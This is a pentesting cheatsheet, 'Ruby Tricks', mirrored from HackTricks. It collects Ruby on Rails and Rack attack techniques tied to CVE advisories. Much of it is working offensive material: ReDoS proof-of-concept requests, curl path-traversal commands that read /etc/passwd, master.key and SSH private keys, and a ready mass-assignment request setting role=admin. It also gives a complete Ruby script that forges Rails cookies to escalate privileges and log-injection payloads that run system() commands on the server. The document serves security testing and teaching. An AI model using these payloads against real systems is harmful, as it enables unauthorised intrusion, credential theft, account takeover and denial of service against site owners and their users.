daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ruby-tricks.md (22307B)


      1 ---
      2 title: "Ruby Tricks"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/ruby-tricks.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/ruby-tricks.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Ruby Tricks
     14 
     15 ## File upload to RCE
     16 
     17 As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.<sup>[[14]](#references)</sup>
     18 
     19 Tips:
     20 
     21 - Other boot/eager-load locations executed at application start are also risky when writable (`config/initializers/` is the classic example). If an arbitrary file upload lands under `config/` and is later evaluated or required, it may produce RCE at boot.
     22 - Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
     23 
     24 ## Active Storage image transformation → command execution (CVE-2025-24293)
     25 
     26 When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.<sup>[[1]](#references)</sup>
     27 
     28 - A vulnerable pattern looks like:
     29   ```erb
     30   <%= image_tag blob.variant(params[:t] => params[:v]) %>
     31   ```
     32   where `params[:t]` and/or `params[:v]` are attacker-controlled.
     33 
     34 - What to try during testing
     35   - Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
     36   - Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
     37   - If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
     38 
     39 - Remediation/detections
     40   - If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
     41 
     42 ## Rack::Static LFI / path traversal (CVE-2025-27610)
     43 
     44 If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.<sup>[[5]](#references)</sup>
     45 
     46 - Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
     47   ```text
     48   GET /assets/%2e%2e/%2e%2e/config/database.yml
     49   GET /favicon.ico/..%2f..%2f.env
     50   ```
     51   Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
     52 
     53 - Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
     54 
     55 ## Rack `Content-Type` parsing ReDoS (CVE-2024-25126)
     56 
     57 Rack versions before `3.0.9.1` and `2.2.8.1` spent quadratic time splitting crafted `Content-Type` headers. A header containing tens of thousands of leading spaces can occupy a Puma/Unicorn worker and cause denial of service or request-queue starvation.<sup>[[10]](#references)</sup>
     58 
     59 - Quick PoC (will hang one worker):
     60   ```bash
     61   python - <<'PY'
     62 import requests
     63 h = {'Content-Type': (' ' * 50_000) + 'a,'}
     64 requests.post('http://target/', data='x', headers=h)
     65 PY
     66   ```
     67 - The vulnerable parser can be reached through many Rack-based stacks, including Rails, Sinatra, Hanami, and Grape, subject to proxy/header-size limits in frontends such as nginx or HAProxy. Use a controlled environment or a single low-impact request during authorized testing.
     68 - The fix makes parsing linear. Look for `rack` versions below `3.0.9.1` or `2.2.8.1`; do not assume a WAF blocks the syntactically valid header.
     69 
     70 ## REXML XML parser ReDoS (CVE-2024-49761)
     71 
     72 The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `&#1111111111111x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.<sup>[[15]](#references)</sup>
     73 
     74 Minimal trigger against a Rails endpoint that parses XML:
     75 ```bash
     76 curl -X POST http://target/xml -H 'Content-Type: application/xml' \
     77   --data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'
     78 ```
     79 If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.
     80 
     81 ## CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
     82 
     83 Apps using the `cgi` gem (default in many Rack stacks) can be frozen with a single malicious header:<sup>[[11]](#references)</sup>
     84 - `CGI::Cookie.parse` was super-linear; huge cookie strings (thousands of delimiters) trigger O(N²) behavior.
     85 - `CGI::Util#escapeElement` regex allowed ReDoS on HTML escaping.
     86 
     87 Both issues are fixed in `cgi` 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive `Cookie:` header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.
     88 
     89 ## Basecamp `google_sign_in` open redirect chain (CVE-2025-57821)
     90 
     91 The `google_sign_in` gem before 1.3.0 performed an incomplete same-origin check on its persisted post-authentication redirect URL. A malformed URL could pass that check and redirect the user to another origin, potentially exposing authentication information such as a token.<sup>[[16]](#references)</sup>
     92 
     93 Exploit flow:
     94 
     95 1. First obtain a separate primitive that can inject arbitrary data into the application's cookie-backed session. The maintainer advisory states there is no known vector when session state is stored in a database.
     96 2. Inject the malformed redirect value into the session/flash state used by `google_sign_in`.
     97 3. After authentication, the gem follows the attacker-controlled cross-origin redirect. If authentication information is incorporated into that flow, it may be exposed and lead to account compromise.<sup>[[16]](#references)</sup>
     98 
     99 During testing, inspect `Gemfile.lock` for `google_sign_in` before 1.3.0 and determine how the application stores session/flash data. Confirm the chained behavior through the `Location` header; do not assume a directly supplied query parameter alone reaches the persisted redirect.
    100 
    101 
    102 ## Rails nested mass assignment via `permit!` on a sub-object
    103 
    104 A common Rails footgun is calling `update()` on a nested parameter object after `permit!`, for example:
    105 
    106 ```ruby
    107 def updated_ajax
    108   @user.update(params.require(:password).permit!)
    109 end
    110 ```
    111 
    112 If the route is supposed to only accept `password[password]` and `password[password_confirmation]`, an attacker can often add privileged attributes under the **same prefix**:
    113 
    114 ```http
    115 POST /admin/users/5/updated_ajax HTTP/1.1
    116 Content-Type: application/x-www-form-urlencoded
    117 
    118 _method=patch&password[password]=NewPass123!&password[password_confirmation]=NewPass123!&password[role]=admin
    119 ```
    120 
    121 Because `permit!` marks every nested key as permitted, `update()` applies all attacker-controlled fields (`role`, `is_admin`, `status`, `user_group_id`, `owner_id`, etc.). During testing:
    122 
    123 - Find self-service update endpoints that accept nested params such as `user[...]`, `profile[...]`, `password[...]`, `account[...]`.
    124 - Check whether the controller passes that entire object into `update`, `update_attributes`, or similar.
    125 - Replay the legitimate request and append privileged attributes under the same nested key.
    126 
    127 This is still **mass assignment**, but in Rails apps it often hides in “safe-looking” strong-parameter code because the dangerous call is `permit!` on a nested object rather than direct `params[:user]` binding.<sup>[[2]](#references)[[3]](#references)</sup>
    128 
    129 ## Camaleon CMS admin panel → MinIO / S3 pivot
    130 
    131 If Rails/CMS admin access exposes **filesystem/storage settings**, treat it as a credential-recovery surface.<sup>[[2]](#references)</sup> In Camaleon deployments using S3-compatible storage, the admin UI may reveal:
    132 
    133 - endpoint URL
    134 - access key / secret key
    135 - region
    136 - bucket names
    137 
    138 With those values, enumerate the object store directly:
    139 
    140 ```bash
    141 aws configure --profile target
    142 aws configure set endpoint_url http://target:54321 --profile target
    143 AWS_PROFILE=target aws s3 ls
    144 AWS_PROFILE=target aws s3 ls s3://internal/
    145 ```
    146 
    147 S3-compatible backends such as **MinIO** are easy to fingerprint from XML error responses and `x-amz-*` / `Server: MinIO` headers. Once valid credentials are recovered, check buckets for dotfiles, SSH keys, app source, backups, and deployment secrets.
    148 
    149 ## Camaleon private-media download path traversal on S3/AWS backends
    150 
    151 Camaleon's private-media download flow has had traversal issues where the controller prepends a fixed prefix and forwards attacker-controlled input to the uploader backend:<sup>[[2]](#references)[[4]](#references)</sup>
    152 
    153 ```ruby
    154 file = cama_uploader.fetch_file("private/#{params[:file]}")
    155 send_file file, disposition: 'inline'
    156 ```
    157 
    158 If the configured uploader backend does **not** canonicalize and validate the resulting path, any authenticated user may read arbitrary files with traversal sequences:
    159 
    160 ```bash
    161 curl -s 'http://target/admin/media/download_private_file?file=../../../etc/passwd' -b cookie.jar
    162 curl -s 'http://target/admin/media/download_private_file?file=../../../config/master.key' -b cookie.jar
    163 curl -s 'http://target/admin/media/download_private_file?file=../../../home/app/.ssh/id_ed25519' -b cookie.jar
    164 ```
    165 
    166 Interesting Rails targets after confirming file read:
    167 
    168 - `config/master.key`
    169 - `config/credentials.yml.enc`
    170 - `config/database.yml`
    171 - `config/storage.yml`
    172 - service files / nginx configs that reveal the runtime user and working directory
    173 - SSH material readable by the Rails process user
    174 
    175 For Camaleon specifically, this bug resurfaced on the AWS/S3 uploader as an **incomplete fix bypass**: the local uploader added path validation, but the S3 uploader did not. When reviewing similar fixes, always compare **every storage backend** instead of only the default/local implementation.
    176 
    177 ## Forging/decrypting Rails cookies when `secret_key_base` is leaked
    178 
    179 Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
    180 
    181 If you only have an authenticated file-read primitive, try to recover `config/master.key` first and then decrypt `config/credentials.yml.enc` to extract `secret_key_base`. In many apps this is the shortest path from LFI/path traversal to cookie decryption and session forgery.<sup>[[2]](#references)</sup>
    182 
    183 Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
    184 
    185 <details>
    186 <summary>Ruby to decrypt/forge cookies</summary>
    187 
    188 ```ruby
    189 require 'cgi'
    190 require 'json'
    191 require 'active_support'
    192 require 'active_support/message_encryptor'
    193 require 'active_support/key_generator'
    194 
    195 secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
    196 raw_cookie = CGI.unescape(ARGV[0])
    197 
    198 salt   = 'authenticated encrypted cookie'
    199 cipher = 'aes-256-gcm'
    200 key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
    201 secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
    202 enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
    203 
    204 plain = enc.decrypt_and_verify(raw_cookie)
    205 puts "Decrypted: #{plain.inspect}"
    206 
    207 # Modify and re-encrypt (example: escalate role)
    208 plain['role'] = 'admin' if plain.is_a?(Hash)
    209 forged = enc.encrypt_and_sign(plain)
    210 puts "Forged cookie: #{CGI.escape(forged)}"
    211 ```
    212 
    213 </details>
    214 Notes:
    215 - Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
    216 - On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
    217 
    218 ## Forging Rails signed IDs / SGIDs when `secret_key_base` is leaked
    219 
    220 Beyond cookies, Rails also uses `ActiveSupport::MessageVerifier` for attacker-relevant tokens such as `record.signed_id`, `ActiveStorage::Blob#signed_id`, and Signed Global IDs (`to_sgid`). If `secret_key_base` leaks, every endpoint that later calls `find_signed`, `find_signed!`, `GlobalID::Locator.locate_signed`, or `ActiveStorage::Blob.find_signed!` becomes interesting. Most real-world impact starts as an IDOR/authz bug (swapping the referenced object), and only becomes RCE if the located object is later passed into an unsafe sink.
    221 
    222 What to hunt for:
    223 - Params or hidden fields named `signed_id`, `sgid`, `attachable_sgid`, `blob_signed_id`, `signed_blob_id`, `record_gid`, etc.
    224 - Direct-upload and Action Text/Trix flows where the browser submits blob references before the final form submission.
    225 - Source patterns such as:
    226   ```bash
    227   rg -n "find_signed!?\(|locate_signed\(|signed_id\(|to_sgid\(|purpose:|for:" app config lib
    228   ```
    229 - Exact verifier scopes/purposes like:
    230   ```ruby
    231   User.find_signed(token, purpose: :password_reset)
    232   ActiveStorage::Blob.find_signed!(token, purpose: :blob_id)
    233   GlobalID::Locator.locate_signed(token, for: 'sharing')
    234   ```
    235 
    236 Useful notes during exploitation:
    237 - `ActiveRecord::SignedId` **does not expire by default**. Signed Global IDs in Rails **expire after 1 month by default** unless the app overrides `Rails.application.config.global_id.expires_in`.<sup>[[13]](#references)</sup>
    238 - The `purpose` / `for:` scope must match. A leaked `secret_key_base` is not enough if you guess the wrong verifier context.
    239 - `MessageVerifier` supports rotated old secrets/digests/serializers. If the app still accepts fallbacks via `rotate(...)`, an **older** leaked secret may remain valid for minting tokens.
    240 - Common offensive targets are password-reset tokens, invitation flows, permanent attachment/blob references, and any hidden field that resolves a server-side object without re-checking authorization.
    241 
    242 Quick Rails-console examples when you have app code or a foothold:
    243 ```ruby
    244 user.signed_id(purpose: :password_reset, expires_in: 15.minutes)
    245 blob.signed_id(purpose: :blob_id)
    246 doc.to_sgid(for: 'sharing', expires_in: 2.hours).to_s
    247 ```
    248 
    249 ## See also (Ruby/Rails-specific vulns)
    250 
    251 - Ruby deserialization and class pollution:
    252 [Readme](/hacktricks/pentesting-web/deserialization/overview)
    253 [Ruby Class Pollution](/hacktricks/pentesting-web/deserialization/ruby-class-pollution)
    254 [Ruby  Json Pollution](/hacktricks/pentesting-web/deserialization/ruby-json-pollution)
    255 - Template injection in Ruby engines (ERB/Haml/Slim, etc.):
    256 [Readme](/hacktricks/pentesting-web/ssti-server-side-template-injection/overview)
    257 
    258 
    259 ## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
    260 
    261 When an app (often a simple Rack/Sinatra/Rails endpoint) both:
    262 - logs a user-controlled string verbatim, and
    263 - later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`),
    264 
    265 You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives:<sup>[[6]](#references)</sup>
    266 
    267 - Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.<sup>[[9]](#references)</sup>
    268 - `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).<sup>[[7]](#references)</sup>
    269 
    270 ### Real-world poison source: `Rack::CommonLogger` (CVE-2025-25184)
    271 
    272 Before `rack` 2.2.11 / 3.0.12 / 3.1.10, `Rack::CommonLogger` could write attacker-controlled newlines from `env['REMOTE_USER']` into the access log.<sup>[[12]](#references)</sup> In practice this matters when the target uses `Rack::Auth::Basic` or otherwise copies a user-controlled identifier into `REMOTE_USER`, and usernames are allowed to contain CR/LF or other log-breaking bytes.
    273 
    274 This is usually *just* log poisoning, but it becomes much more interesting when chained with the `load`-the-log pattern below, log processors that parse/execute content, or admin workflows that inspect logs in vulnerable terminals.
    275 
    276 Quick checks:
    277 - Register or authenticate with a username containing `\r\nFAKELOG` and hit an endpoint that is known to be logged by Rack middleware.
    278 - Review access logs (or visible downstream effects) for split lines, forged entries, or parser crashes.
    279 - If you already found a later sink such as `load ../logs/error.log`, `eval File.read(...)`, or a custom job that replays log content, `CommonLogger` gives you a realistic way to plant the payload.
    280 
    281 ### Minimal vulnerable pattern
    282 
    283 ```ruby
    284 require 'logger'
    285 require 'pathname'
    286 
    287 logger   = Logger.new('logs/error.log')
    288 param    = CGI.unescape(params[:script])
    289 path_obj = Pathname.new(param)
    290 
    291 logger.info("Running backup script #{param}")            # Raw log of user input
    292 load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
    293 ```
    294 
    295 ### Why the log can contain valid Ruby
    296 `Logger` writes prefix lines like:<sup>[[8]](#references)</sup>
    297 ```text
    298 I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
    299 ```
    300 In Ruby, `#` starts a comment and `9/2/2025` is just arithmetic. To inject valid Ruby code you need to:
    301 - Begin your payload on a new line so it is not commented out by the `#` in the INFO line; send a leading newline (`\n` or `%0A`).
    302 - Close the dangling `[` introduced by the INFO line. A common trick is to start with `]` and optionally make the parser happy with `][0]=1`.
    303 - Then place arbitrary Ruby (e.g., `system(...)`).
    304 
    305 Example of what will end up in the log after one request with a crafted param:
    306 ```text
    307 I, [9/2/2025 #209384]  INFO -- : Running backup script
    308 ][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
    309 ```
    310 
    311 ### Smuggling a single string that both logs code and resolves to the log path
    312 We want one attacker-controlled string that:
    313 - when logged raw, contains our Ruby payload, and
    314 - when passed through `Pathname.new(<input>).cleanpath`, resolves to `../logs/error.log` so the subsequent `load` executes the just-poisoned log file.
    315 
    316 `Pathname#cleanpath` ignores schemes and collapses traversal components, so the following works:
    317 ```ruby
    318 require 'pathname'
    319 
    320 p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
    321 puts p.cleanpath   # => ../logs/error.log
    322 ```
    323 - The `#` before `://` ensures Ruby ignores the tail when the log is executed, while `cleanpath` still reduces the suffix to `../logs/error.log`.
    324 - The leading newline breaks out of the INFO line; `]` closes the dangling bracket; `][0]=1` satisfies the parser.
    325 
    326 ### End-to-end exploitation
    327 1. Send the following as the backup script name (URL-encode the first newline as `%0A` if needed):
    328    ```
    329    \n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
    330    ```
    331 2. The app logs your raw string into `logs/error.log`.
    332 3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it.
    333 4. Ruby executes the code you injected in the log.
    334 
    335 To exfiltrate a file in a CTF-like environment:
    336 ```text
    337 \n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
    338 ```
    339 URL-encoded PoC (first char is a newline):
    340 ```text
    341 %0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
    342 ```
    343 
    344 ## References
    345 
    346 - [1] [Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)](https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670)
    347 - [2] [0xdf – HTB: Facts](https://0xdf.gitlab.io/2026/06/06/htb-facts.html)
    348 - [3] [GitLab Advisory Database – CVE-2025-2304 Camaleon CMS mass assignment](https://advisories.gitlab.com/pkg/gem/camaleon_cms/CVE-2025-2304/)
    349 - [4] [NVD – CVE-2026-1776 Camaleon CMS AWS uploader path traversal](https://nvd.nist.gov/vuln/detail/CVE-2026-1776)
    350 - [5] [GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)](https://github.com/advisories/GHSA-7wqh-767x-r66v)
    351 - [6] [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
    352 - [7] [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
    353 - [8] [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
    354 - [9] [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
    355 - [10] [Rack security advisory: ReDoS in content-type parsing (CVE-2024-25126)](https://github.com/rack/rack/security/advisories/GHSA-22f2-v57c-j9cx)
    356 - [11] [Ruby security advisories for CGI / URI (CVE-2025-27219/27220/27221)](https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/)
    357 - [12] [GitHub Advisory: Possible Log Injection in Rack::CommonLogger (CVE-2025-25184)](https://github.com/advisories/GHSA-7g2v-jj9q-g3rg)
    358 - [13] [Rails GlobalID README (Signed Global IDs, purpose, expiry)](https://github.com/rails/globalid)
    359 - [14] [OffSec Blog: CVE-2024-46986 – Arbitrary File Write in Camaleon CMS Leading to RCE](https://www.offsec.com/blog/cve-2024-46986/)
    360 - [15] [Ruby Lang – ReDoS in REXML (CVE-2024-49761)](https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761)
    361 - [16] [GitHub Security Advisory – Basecamp google_sign_in Open Redirect (CVE-2025-57821)](https://github.com/basecamp/google_sign_in/security/advisories/GHSA-7pwc-wh6m-44q3)